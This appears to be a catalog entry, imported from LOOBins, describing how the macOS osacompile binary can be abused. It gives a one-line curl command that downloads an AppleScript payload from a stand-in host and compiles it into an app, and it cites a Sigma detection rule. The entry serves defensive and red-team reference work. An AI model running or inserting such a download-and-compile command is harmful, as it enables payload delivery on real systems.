CatalogLOOBins

ORCHARD · Tool

osacompile

1 techniquemacOSLOOBinsGPL-3.0

Download and compile a payload

macOS

The following command downloads an applescript payload from getpayload.com and compiles it into an app.

curl https://getpayload.com/payload_code.apple_script && osacompile -x -e payload_code.apple_script -o payload.app
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Command and Control, Resource Development
Detection
Sigma: In-Memory Download And Compile Of Payloads (experimental/pending): github.com/SigmaHQ/sigma/pull/4127/commits/f4b0264a83e5f47473029e26dc0879fb196a7d07